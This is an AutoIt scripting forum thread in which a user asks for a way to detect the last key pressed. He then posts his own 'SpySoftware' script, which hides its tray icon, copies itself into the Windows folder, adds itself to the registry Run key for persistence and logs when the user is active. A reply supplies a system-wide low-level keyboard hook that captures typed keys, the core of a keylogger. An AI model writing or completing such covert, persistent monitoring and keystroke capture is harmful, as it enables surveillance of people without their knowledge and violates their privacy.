Jump to content
Sign in to follow this  
Gillboss

Last key pressed

Recommended Posts

Gillboss

there is function that get the last key pressed on keyboard?

thanks

Share this post


Link to post
Share on other sites
Paulie

I made one.... Better not be for something malicious

#include <Misc.au3>

While 1
    $key=_IsAnyKeyPressed(1)
    If $key then MsgBox(0,"",$Key)
WEnd
Func _IsAnyKeyPressed($UseNames=0)
    $number = StringSplit("01|02|04|05|06" & _
    "|08|09|0C|0D|10|11|12|13|14|1B|20|21|22" & _
    "|23|24|25|26|27|28|29|2A|2B|2C|2D|2E|30" & _
    "|31|32|33|34|35|36|37|38|39|41|42|43|44" & _
    "|45|46|47|48|49|4A|4B|4C|4D|4E|4F|50|51" & _
    "|52|53|54|55|56|57|58|59|5A|5B|5C|60|61" & _
    "|62|63|64|65|66|67|68|69|6A|6B|6C|6D|6E" & _
    "|6F|70|71|72|73|74|75|76|77|78|79|7A|7B" & _
    "|90|91|A0|A1|A2|A3|A4|A5", "|")
    
    $names = StringSplit("Left mouse|Right mouse" & _
    "|Middle mouse|X1 mouse|X2 mouse|BACKSPACE|TAB" & _
    "|CLEAR|ENTER|SHIFT|CTRL|ALT|PAUSE|CAPSLOCK|ESC" & _
    "|SPACEBAR|PAGEUP|PAGEDOWN|END|HOME|LEFT ARROW" & _
    "|UP ARROW|RIGHT ARROW|DOWN ARROW|SELECT|PRINT" & _
    "|EXECUTE|PRINT SCREEN|INS|DEL|0|1|2|3|4|5|6|7" & _
    "|8|9|A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U" & _
    "|V|W|X|Y|Z|Left Win|Right Win|Num 0|Num 1|Num 2" & _
    "|Num 3|Num 4|Num 5|Num 6|Num 7|Num 8|Num 9|Multiply" & _
    "|Add|Separator|Subtract|Decimal|Divide|F1|F2|F3|F4" & _
    "|F5|F6|F7|F8|F9|F10|F11|F12|NUMLOCK|SCROLLLOCK|Left SHIFT" & _
    "|Right SHIFT|Left CONTROL|Right CONTROL|Left MENU|Right MENU","|")
    Dim $a=0
    For $i in $number
        $a+=1
        If _IsPressed(String($i)) Then 
            If $UseNames then 
                Return $names[$a-1]
            Else
                Return 1
            EndIf
        EndIf
    Next
    Return 0
EndFunc

Share this post


Link to post
Share on other sites
Gillboss

very nice.. but its required 40% CPU..

Share this post


Link to post
Share on other sites
Paulie

very nice.. but its required 40% CPU..

Throw a

Sleep(50)
or a

Sleep(100)

in the while loop

Share this post


Link to post
Share on other sites
Gillboss

look at that, its my script, its should check if user pressed some key on keyboard..

so i need help in function _Keyboard()

#RequireAdmin
Opt("TrayIconHide", 1)
FileCopy(@ScriptDir&"\"&@ScriptName, @WindowsDir&"\"&@ScriptName)
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SpySoftware", "REG_SZ", @WindowsDir&"\"&@ScriptName)

HotKeySet("^!a", "Terminate")  ;    Ctrl-Alt-a

Global $m1, $m2, $k
$m1 = MouseGetPos()

Func _Mouse()
    $m2 = MouseGetPos()
    If $m1[0] <> $m2[0] Or $m1[1] <> $m2 [1] Then
        $m1 = MouseGetPos()
        Return(1)
    Else
        $m1 = MouseGetPos()
        Return(0)
    EndIf
EndFunc

Func _Keyboard()
; if user didnt press nothing, then Return(0)
; if user pressed something, then Return(1)
EndFunc

$begin = TimerInit()
While 1
    $dif = TimerDiff($begin)
    If $dif >= 600000 Then 
        $begin = TimerInit()
        $a = _Mouse()
        $b = _Keyboard()
        If $a = 1 Or $b = 1 Then
            $file = FileOpen(@TempDir&"\SpySoftware.txt", 1)
            If $file <> -1 Then
                If @WDAY = 1 Then $day = "Sunday"
                If @WDAY = 2 Then $day = "Monday"
                If @WDAY = 3 Then $day = "Tuesday"
                If @WDAY = 4 Then $day = "Wednesday"
                If @WDAY = 5 Then $day = "Thursday"
                If @WDAY = 6 Then $day = "Friday"
                If @WDAY = 7 Then $day = "Saturday"
                FileWrite($file, "User online at: "&@HOUR&":"&@MIN&" in "&@MDAY&"/"&@MON&"/"&@YEAR&", day: "&$day&@CRLF)
            EndIf
            FileClose($file)
        EndIf
    EndIf
    Sleep(10000)
WEnd

Func Terminate()
    $msg = MsgBox(0x24, "Spy Software", "Spy Software is exit now"&@CRLF&"Do you want set off Spy Software in startup list?")
    If $msg = 6 Then RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SpySoftware")
    Exit
EndFunc
Edited by Gillboss

Share this post


Link to post
Share on other sites
rasim

Gillboss

Example from this forum:

Global Const $WH_KEYBOARD_LL = 13
Global $hHook, $pStub_KeyProc
Global $pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")
Global $hmod = DllCall("kernel32.dll","hwnd","GetModuleHandle","ptr",0)
Global $hHook = DllCall("user32.dll","hwnd","SetWindowsHookEx","int", _
            $WH_KEYBOARD_LL,"ptr",DllCallbackGetPtr($pStub_KeyProc),"hwnd",$hmod[0],"dword",0)
Global $buffer = ""

MsgBox(4096,"","Type anything anywhere and it will appear in the top left corner of the screen.")

While 1
    Sleep(10)
WEnd

Func EvaluateKey($keycode)
    If (($keycode > 22) And ($keycode < 91)) _
        Or (($keycode > 47) And ($keycode < 58)) Then
        $buffer &= Chr($keycode)
        ToolTip($buffer,0,0)
    ElseIf ($keycode > 159) And ($keycode < 164) Then
        Return
    EndIf
EndFunc

Func _KeyProc($nCode, $wParam, $lParam)
    Local $ret,$KEYHOOKSTRUCT
    If $nCode < 0 Then
        $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _
                        "int",$nCode,"ptr",$wParam,"ptr",$lParam)
        Return $ret[0]
    EndIf
    If $wparam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr",$lParam)
        EvaluateKey(DllStructGetData($KEYHOOKSTRUCT,1))
    EndIf
    $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _
                    "int",$nCode,"ptr",$wParam,"ptr",$lParam)
    Return $ret[0]
EndFunc

Func OnAutoItExit()
    DllCall("user32.dll","int","UnhookWindowsHookEx","hwnd",$hHook[0])
EndFunc

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.